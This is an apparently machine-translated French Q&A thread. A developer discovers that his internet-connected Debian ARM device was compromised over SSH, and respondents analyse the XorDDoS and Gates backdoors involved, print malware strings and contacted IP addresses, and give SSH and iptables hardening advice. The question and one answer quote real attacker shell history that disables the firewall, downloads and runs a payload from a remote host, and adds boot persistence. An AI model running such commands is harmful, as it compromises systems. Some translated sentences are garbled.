507 votes

vaid avatar

Est-ce que je viens de me faire pirater ?

Demandé el 1 de Février, 2016
Quand la question a-t-elle été
55647 affichage
Nombre de visites la question a
5 Réponses
Nombre de réponses aux questions
Résolu
Situation réelle de la question

Je développe un produit de consommation, et il est censé être connecté à l'Internet, donc comme prévu, il est connecté à l'Internet afin que je puisse le développer correctement.

Je me suis absenté pendant une heure ou deux, et quand je suis revenu à mon bureau, j'ai remarqué des commandes étranges écrites dans le terminal.

En regardant le fichier journal de Linux appelé auth.log Je peux voir les lignes suivantes (parmi beaucoup d'autres) :

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

L'adresse IP 40.127.205.162 s'avère être appartenant à Microsoft .

Voici quelques commandes qui ont été utilisées pendant mon absence :

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Et plus encore :

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Je n'étais pas du tout au courant. Comment puis-je sécuriser mon produit correctement ?

J'aimerais afficher l'intégralité auth.log fichier. Comment dois-je m'y prendre ?

De même, le fichier yjz1 qui a été téléchargé semble être un Trojan Linux et tout cela semble avoir été fait par une sorte de groupe de pirates informatiques selon http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Dois-je appeler Microsoft et leur parler ? Que dois-je faire ?

Demandé el 1 de Février, 2016 par vaid

41 votes

Avatar de Jonno

Ouais, ça n'a pas l'air très bon. Je ne suis pas un expert en Linux, mais quelque chose a certainement essayé de s'exécuter. Je ne suis pas sûr de savoir comment, car il semble qu'il a essayé de se connecter en tant que root et a échoué. Y a-t-il d'autres logs dans votre auth.log ? D'autres moyens d'administration à distance ? J'ai déjà vu des Mac avec un serveur VNC activé se faire pirater par ce biais, bien que cela ressemble à une tentative SSH. On dirait que les adresses IP à partir desquelles il téléchargeait sont hébergées quelque part en Chine.

Commenté el 1 de Février, 2016 par Jonno

3 votes

Avatar de David Schwartz

L'attaque venait en fait de Chine.

Commenté el 1 de Février, 2016 par David Schwartz

0 votes

Avatar de vaid

Oui, mais qu'est-ce qu'un IP appartenant à Microsoft fait pour essayer de pénétrer dans un appareil à travers l'Internet ?

Commenté el 1 de Février, 2016 par vaid
Afficher 46 autres commentaires

Réponses

Trop de publicités?

497voto

MariusMatutiae avatar
MariusMatutiae Points 45233

EDIT 2 :

Il y a une bonne raison pour laquelle ce post attire autant l'attention : vous avez réussi à enregistrer l'intégralité de la session en direct d'un intrus sur votre PC. C'est très différent de notre expérience quotidienne, où nous devons faire face à la découverte des conséquences de ses actes et essayer de les réparer. Ici, nous le voyons au travail, nous constatons qu'il a des difficultés à établir la porte dérobée, nous retraçons ses pas, nous travaillons fébrilement (peut-être parce qu'il était assis à votre bureau, comme suggéré ci-dessus, ou peut-être, et à mon avis plus probablement, parce qu'il n'a pas pu faire fonctionner son logiciel malveillant sur le système, lire ci-dessous), et nous essayons de déployer des instruments de contrôle totalement autonomes. C'est ce que les chercheurs en sécurité constatent quotidiennement avec leurs pièges à miel . Pour moi, c'est une chance très rare, et la source d'un certain amusement.

Vous avez certainement été piraté. La preuve en est que pas proviennent de l'extrait de la auth.log que vous avez affiché, car il signale une tentative de connexion infructueuse, sur une courte période de temps (deux secondes). Vous remarquerez que la deuxième ligne indique Failed password tandis que le troisième fait état d'une pre-auth déconnexion : le gars a essayé et a échoué.

La preuve vient plutôt du contenu des deux dossiers http://222.186.30.209:65534/yjz y http://222.186.30.209:65534/yjz1 que l'attaquant a téléchargé sur votre système.

Le site est actuellement ouvert à tous pour les télécharger, ce que j'ai fait. J'ai d'abord lancé file sur eux, ce qui a montré :

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Je les ai ensuite transférés sur une machine virtuelle Debian 64 bits que je possède. strings a révélé beaucoup de choses suspectes (référence à diverses attaques bien connues, à des commandes à substituer, à un script clairement utilisé pour configurer un nouveau service, etc.)

J'ai ensuite produit les MD5-hash des deux fichiers, et je les ai transmis à Cymru pour voir s'ils sont des agents connus de logiciels malveillants. Alors que yjz ne l'est pas, yjz1 est, et Cymru rapporte une probabilité de détection par les logiciels anti-virus de 58%. Il indique également que ce fichier a été vu pour la dernière fois il y a environ trois jours, il est donc raisonnablement récent.

Running clamscan (qui fait partie de la clamav ) sur les deux fichiers que j'ai obtenus :

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

donc nous sommes maintenant certains que le logiciel standard de Linux peut l'identifier.

Que devez-vous faire ?

Bien qu'assez récent, aucun des deux systèmes n'est très nouveau, voir cet article de Jan. 2015 sur XorDdos par exemple. La plupart des logiciels libres devraient donc être capables de le supprimer. Vous devriez essayer : clamav , rkhunter , chkrootkit . J'ai fait des recherches sur Google et j'ai vu qu'ils prétendent être capables de le repérer. Utilisez-les pour vérifier le travail du prédécesseur, mais après avoir exécuté ces trois programmes, vous devriez être prêt à partir.

Quant à la question plus large, what should you do to prevent future infections La réponse de Journeyman est une bonne première étape. Gardez à l'esprit qu'il s'agit d'une lutte permanente, que nous avons tous (y compris moi !) pu perdre sans même le savoir.

EDIT :

À la demande (indirecte) de Viktor Toth, je voudrais ajouter quelques commentaires. Il est certainement vrai que l'intrus a rencontré quelques difficultés : il télécharge deux outils de piratage distincts, modifie leurs autorisations à plusieurs reprises, les redémarre plusieurs fois et tente à plusieurs reprises de désactiver le pare-feu. Il est facile de deviner ce qui se passe : il s'attend à ce que ses outils de piratage ouvrent un canal de communication vers l'un de ses ordinateurs infectés (voir plus loin), et, lorsqu'il ne voit pas ce nouveau canal Spring apparaître sur son interface graphique de contrôle, il craint que son outil de piratage soit bloqué par le pare-feu, et il répète donc la procédure d'installation. Je suis d'accord avec Viktor Toth pour dire que cette étape particulière de son opération ne semble pas apporter les fruits escomptés, mais je voudrais vous encourager très fortement ne pas sous-estimer l'étendue des dégâts infligés à votre pc.

Je fournis ici un résultat partiel de strings yjz1 :

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Cela fournit la preuve d'une altération des services (en /etc/init.d et en /etc/rc.d ), avec crontab avec le fichier historique de mysql et quelques fichiers dans proc qui sont des liens vers bash (ce qui suggère qu'une version frauduleuse personnalisée de votre Shell a été plantée). Ensuite, le programme génère une requête HTTP (vers un site de langue chinoise,

 Accept-Language: zh-cn

ce qui donne corps au commentaire de David Schwartz ci-dessus), ce qui pourrait créer encore plus de ravages. Dans la demande, les binaires ( Content-Type: application/x-www-form-urlencoded ) doivent être téléchargés sur le PC attaqué (GET) et téléchargés sur la machine de contrôle (POST). Je n'ai pas pu établir ce qui serait téléchargé sur le PC attaqué, mais, étant donné la petite taille des deux fichiers yjz y yjz1 (respectivement 1,1 Mo et 600 Ko), je peux supposer que la plupart des fichiers nécessaires à la dissimulation du rootkit, c'est-à-dire les versions modifiées de ls , netstat , ps , ifconfig ..., seraient téléchargés de cette façon. Et cela expliquerait les tentatives fébriles de l'attaquant pour faire démarrer ce téléchargement.

Il n'est pas certain que ce qui précède épuise toutes les possibilités : il nous manque certainement une partie de la transcription (entre les lignes 457 et 481) et nous ne voyons pas de logout ; de plus, les lignes 495-497 sont particulièrement inquiétantes,

cd /tmp;  ./yd_cd/make

qui font référence à un fichier que nous n'avons pas vu être téléchargé, et qui pourrait être une compilation : si c'est le cas, cela signifie que l'attaquant a (enfin ?) compris quel était le problème avec ses exécutables, et qu'il essaie de le résoudre, auquel cas le PC attaqué a disparu pour de bon. [En fait, les deux versions du malware que l'attaquant a téléchargé sur la machine piratée (et moi sur ma VM Debian 64bit) sont pour une architecture inadaptée, x86, alors que le seul nom du pc piraté indique qu'il s'agissait d'une architecture arm].

La raison pour laquelle j'ai écrit cet édit est de vous inciter le plus fortement possible soit à peigner votre système avec un instrument professionnel, soit à le réinstaller à partir de zéro.

Et, au fait, si cela peut s'avérer utile à quelqu'un, voici la liste de la 331 Les adresses IP auxquelles yjz essaie de se connecter. Cette liste est tellement longue (et probablement destinée à le devenir encore plus) que je pense que c'est la raison pour laquelle il faut trafiquer mysql . La liste fournie par l'autre porte dérobée est identique, ce qui, je suppose, est la raison pour laquelle on laisse une information aussi importante à l'air libre. pensez à l'attaquant ne souhaitait pas faire l'effort de les stocker au format du noyau, il a donc placé toute la liste dans un fichier en texte clair, qui est probablement lu par toutes ses portes dérobées, quel que soit le système d'exploitation) :

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Le code suivant

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

sur la liste ci-dessus montre que 302 sur un total de 331 adresses se trouvent en Chine continentale, les autres à Hong Kong, en Mongolie et à Taiwan. Cela confirme l'affirmation de David Schwartz selon laquelle il s'agit principalement d'un réseau de robots chinois.

EDIT 3

À la demande de @vaid (l'auteur de l'OP, lire son commentaire ci-dessous), je vais ajouter un commentaire sur la façon de renforcer la sécurité d'un système Linux de base (pour un système fournissant de nombreux services, c'est un sujet bien plus complexe). vaid déclare qu'il a fait ce qui suit :

  1. Réinstaller le système

  2. a changé le mot de passe de la racine en un mot de passe de 16 caractères avec un mélange de lettres et de caractères minuscules et majuscules et de chiffres.

  3. Changer le nom d'utilisateur en un nom d'utilisateur de 6 caractères mixtes et appliquer le même mot de passe que celui utilisé pour root.

  4. changé le port SSH en quelque chose de supérieur à 5000

  5. désactivé le login root SSH.

C'est très bien (sauf que j'utilise un port supérieur à 10 000 car de nombreux programmes utiles utilisent les ports inférieurs à 10 000). Mais Je ne saurais trop insister sur la nécessité d'utiliser des clés cryptographiques pour la connexion ssh. au lieu de mots de passe. Je vais vous donner un exemple personnel. Sur l'un de mes VPS, je ne savais pas si je devais changer le port ssh ; je l'ai laissé à 22, mais j'ai utilisé des clés cryptographiques pour l'authentification. J'avais des centaines de tentatives d'effraction par jour mais aucun n'a réussi. Lorsque, fatigué de vérifier quotidiennement que personne n'avait réussi, j'ai fini par changer le port à quelque chose de plus de 10 000, les tentatives d'intrusion sont devenues nulles. Remarquez, ce n'est pas que les pirates sont stupides (ils ne le sont pas !), ils chassent simplement des proies plus faciles.

Il est facile d'activer une clé cryptographique avec RSA comme algorithme de signature, voir le commentaire ci-dessous de Jan Hudec (merci !):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Maintenant, tout ce que vous avez à faire est de copier le fichier id_rsa sur la machine à partir de laquelle vous voulez vous connecter (dans un répertoire .ssh également chmod à 700), puis lancez la commande

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Lorsque vous êtes sûr que cela fonctionne, éditez sur le serveur (=la machine à laquelle vous voulez vous connecter) le fichier /etc/ssh/sshd_config et modifiez la ligne

#PasswordAuthentication yes

à

PasswordAuthentication no

et redémarrer le ssh service ( service ssh restart ou systemctl restart ssh ou quelque chose comme ça, selon la distro).

Cela résistera à beaucoup de choses. En fait, il n'y a actuellement aucun exploit connu contre les versions actuelles de openssh v2 et du RSA tel qu'il est employé par openssh v2 .

Enfin, pour bien verrouiller votre machine, vous devrez configurer le pare-feu (netfilter/iptables) comme suit :

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Ainsi, 1) il autorise les connexions ssh depuis le LAN et le WAN, 2) il autorise toutes les entrées provenant de vos requêtes (par exemple, lorsque vous chargez une page Web), 3) il rejette tout le reste sur l'entrée, 4) il autorise tout sur la sortie, et 5-6) il autorise tout sur l'interface de bouclage.

Au fur et à mesure que vos besoins augmentent, et que d'autres ports doivent être ouverts, vous pouvez le faire en ajoutant, en haut de la liste, des règles telles que :

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

pour permettre par exemple à des personnes d'accéder à votre navigateur Web.

Répondu el 1 de Février, 2016 par MariusMatutiae (45233 Points )

11 votes

Avatar de vaid

C'était génial à lire. J'ai aussi essayé le fichier yjz1 par le biais de Googles VirusTotal.com qui a donné un résultat positif. Je n'ai même pas vu que yjz a été téléchargé. Merci.

Commenté el 1 de Février, 2016 par vaid

0 votes

Avatar de vaid

Je suis en train de lire sur la façon de renommer ROOT, j'ai remarqué que le pirate essaie de faire des choses dans le chemin d'accès /root/ qui, je suppose, est / Ainsi, renommer ROOT pourrait être une protection à court terme ?

Commenté el 1 de Février, 2016 par vaid

0 votes

Avatar de Chochos

Mon installation précédente de serveur web a été frappée par xordos. J'avais téléchargé une copie pour une sauvegarde sur une boîte Windows et mon AV n'arrêtait pas de le nettoyer. Je me demande si clamav le détecterait. Et oui, je me suis concentré sur les étapes génériques, car je ne voulais pas vraiment m'attaquer à un mauvais fichier connu aléatoirement.

Commenté el 2 de Février, 2016 par Chochos
Afficher 30 autres commentaires

142voto

Chochos avatar
Chochos Points 3364

Bienvenue sur Internet, où tout serveur SSH ouvert est susceptible d'être sondé, forcé brutalement et de subir diverses indignités.

Pour commencer, vous devez effacer complètement le stockage sur le produit. Faites-en une image si vous voulez le transmettre à des experts, mais l'installation de Linux sur le produit est maintenant suspecte.

C'est un peu une supposition, mais

  1. Vous avez été brutalisé ou utilisez un mot de passe commun. C'est la sécurité par l'obscurité mais vous ne voulez pas un mot de passe dictionnaire. ou pour utiliser un compte root ouvert à SSH. Désactivez l'accès SSH root si c'est une option ou changez au moins le nom pour qu'ils aient à deviner les deux. L'utilisation de SSH en tant que root est de toute façon une mauvaise pratique de sécurité. Si vous devez utiliser root, connectez-vous en tant qu'autre utilisateur et utilisez su ou sudo pour basculer.

  2. Selon le produit, vous pouvez vouloir verrouiller l'accès SSH d'une manière ou d'une autre. Un verrouillage total semble être une bonne idée, et permet aux utilisateurs de l'ouvrir au besoin . En fonction des ressources dont vous disposez, vous pouvez envisager de n'autoriser que les adresses IP de votre propre sous-réseau ou de mettre en place un système de limitation des connexions. Si vous n'en avez pas besoin sur le produit final, assurez-vous qu'il est désactivé.

  3. Utiliser un port non standard. Encore une fois, la sécurité par l'obscurité, mais cela signifie qu'un attaquant doit cibler votre port.

  4. N'utilisez jamais un mot de passe par défaut. La meilleure approche que j'ai vue consiste à générer de manière aléatoire un mot de passe pour un appareil spécifique et à l'envoyer avec votre produit. La meilleure pratique est l'authentification basée sur une clé, mais je n'ai aucune idée de la manière dont on peut l'aborder sur un produit de grande consommation.

Répondu el 1 de Février, 2016 par Chochos (3364 Points )

78 votes

Avatar de Bob

5. Utilisez l'authentification par clé publique si possible. L'authentification par mot de passe est beaucoup, beaucoup moins sûre.

Commenté el 1 de Février, 2016 par Bob

4 votes

Avatar de Chochos

Oui, mais si c'est un appareil grand public, ce n'est pas forcément une option. Sur une boîte de développement, ça semble être une idée brillante. Sur un serveur, eh bien, j'ai été piraté avant ;p

Commenté el 1 de Février, 2016 par Chochos

2 votes

Avatar de Hennes

S'il s'agit d'un appareil grand public, l'utilisation du même mot de passe ou de la même clé aléatoire sur tous les appareils est également une mauvaise idée. De même que tout ce qui est basé sur son numéro de série, son MAC ou toute autre information identifiable. (Ce qui semble avoir échappé à de nombreux modems/routeurs/WAP domestiques).

Commenté el 1 de Février, 2016 par Hennes
Afficher 14 autres commentaires

36voto

Viktor Toth avatar
Viktor Toth Points 907

Oh, vous avez été définitivement piraté. Quelqu'un semble avoir réussi à obtenir des informations d'identification et a tenté de télécharger un cheval de Troie sur votre système. MariusMatutiae a fourni une analyse de la charge utile.

Deux questions se posent : a) L'attaquant a-t-il réussi ? Et b) que pouvez-vous faire à ce sujet ?

La réponse à la première question mai être un non. Remarquez comment l'attaquant essaie à plusieurs reprises de télécharger et d'exécuter la charge utile, apparemment sans succès. Je soupçonne que quelque chose (SELinux, par exemple ?) s'est mis en travers de son chemin.

CEPENDANT : L'attaquant a également modifié votre /etc/rc.d/rc.local dans l'espoir que lorsque vous redémarrerez votre système, la charge utile sera activée. Si vous n'avez pas encore redémarré le système, ne le faites pas tant que vous n'avez pas supprimé ces altérations de /etc/rc.d/rc.local . Si vous l'avez déjà redémarré... eh bien, pas de chance.

Quant à ce que vous pouvez faire à ce sujet : La chose la plus sûre à faire est d'effacer le système et de le réinstaller à partir de zéro. Mais ce n'est pas toujours une option. La chose la moins sûre à faire est d'analyser exactement ce qui s'est passé et d'en effacer toute trace, si vous le pouvez. Encore une fois, si vous n'avez pas encore redémarré le système, il suffit peut-être de nettoyer le système. /etc/rc.d/rc.local supprimez tout ce qui a été téléchargé par l'attaquant et, enfin et surtout, changez le mot de passe !

Toutefois, si l'attaquant était déjà en mesure d'exécuter la charge utile, votre système peut subir d'autres modifications difficiles à détecter. C'est pourquoi un nettoyage complet est vraiment la seule option sûre (et recommandée). Comme vous l'avez indiqué, l'équipement en question peut être une cible de test/développement, de sorte que son nettoyage n'est peut-être pas aussi douloureux que dans d'autres cas.

Mise à jour : En dépit de ce que j'ai écrit au sujet d'une éventuelle reprise, je souhaite faire écho à la déclaration de MariusMatutiae. très forte recommandation de ne pas sous-estimer les dommages potentiels causés par cette charge utile et la mesure dans laquelle elle a pu compromettre le système cible.

Répondu el 1 de Février, 2016 par Viktor Toth (907 Points )

2 votes

Avatar de vaid

Merci. J'ai décidé d'effacer le système. Je l'ai redémarré plusieurs fois mais juste pour copier quelques données essentielles. Pas de binaires, seulement le code source. Je suppose que je suis assez sûr maintenant.

Commenté el 2 de Février, 2016 par vaid

0 votes

Avatar de WGroleau

Qu'en est-il des autres boîtes sur le même réseau local ?

Commenté el 2 de Février, 2016 par WGroleau

0 votes

Avatar de Viktor Toth

Bonne question. L'historique Shell qui a été fourni n'indique aucune tentative de découvrir et de compromettre d'autres boîtes sur le même réseau. Plus généralement, si l'attaquant obtient un accès SSH (root) à une boîte, cela signifie essentiellement qu'il a contourné tous les pare-feu du périmètre. Cependant, cela n'implique pas automatiquement que d'autres boîtes sont compromises : cela nécessiterait autre chose comme une vulnérabilité non corrigée, des mots de passe partagés entre les boîtes, une connexion automatique d'une boîte à l'autre, etc.

Commenté el 2 de Février, 2016 par Viktor Toth

19voto

Gunther Nitzsche avatar
Gunther Nitzsche Points 191

Mon sshd-honeypot a également vu ce type d'attaque. Les premiers téléchargements depuis cette URL ont commencé le 2016-01-29 10:25:33 et les attaques sont toujours en cours. Les attaques proviennent/provenaient de

103.30.4.212
111.68.6.170
118.193.228.169

La contribution de ces attaquants était :

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 > /dev/null 2>&1 &
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp

Donc aucune activité autre que l'installation de la porte dérobée pour plus tard.

Répondu el 2 de Février, 2016 par Gunther Nitzsche (191 Points )

0 votes

Avatar de MariusMatutiae

Je suis d'accord, c'est le même mode opératoire.

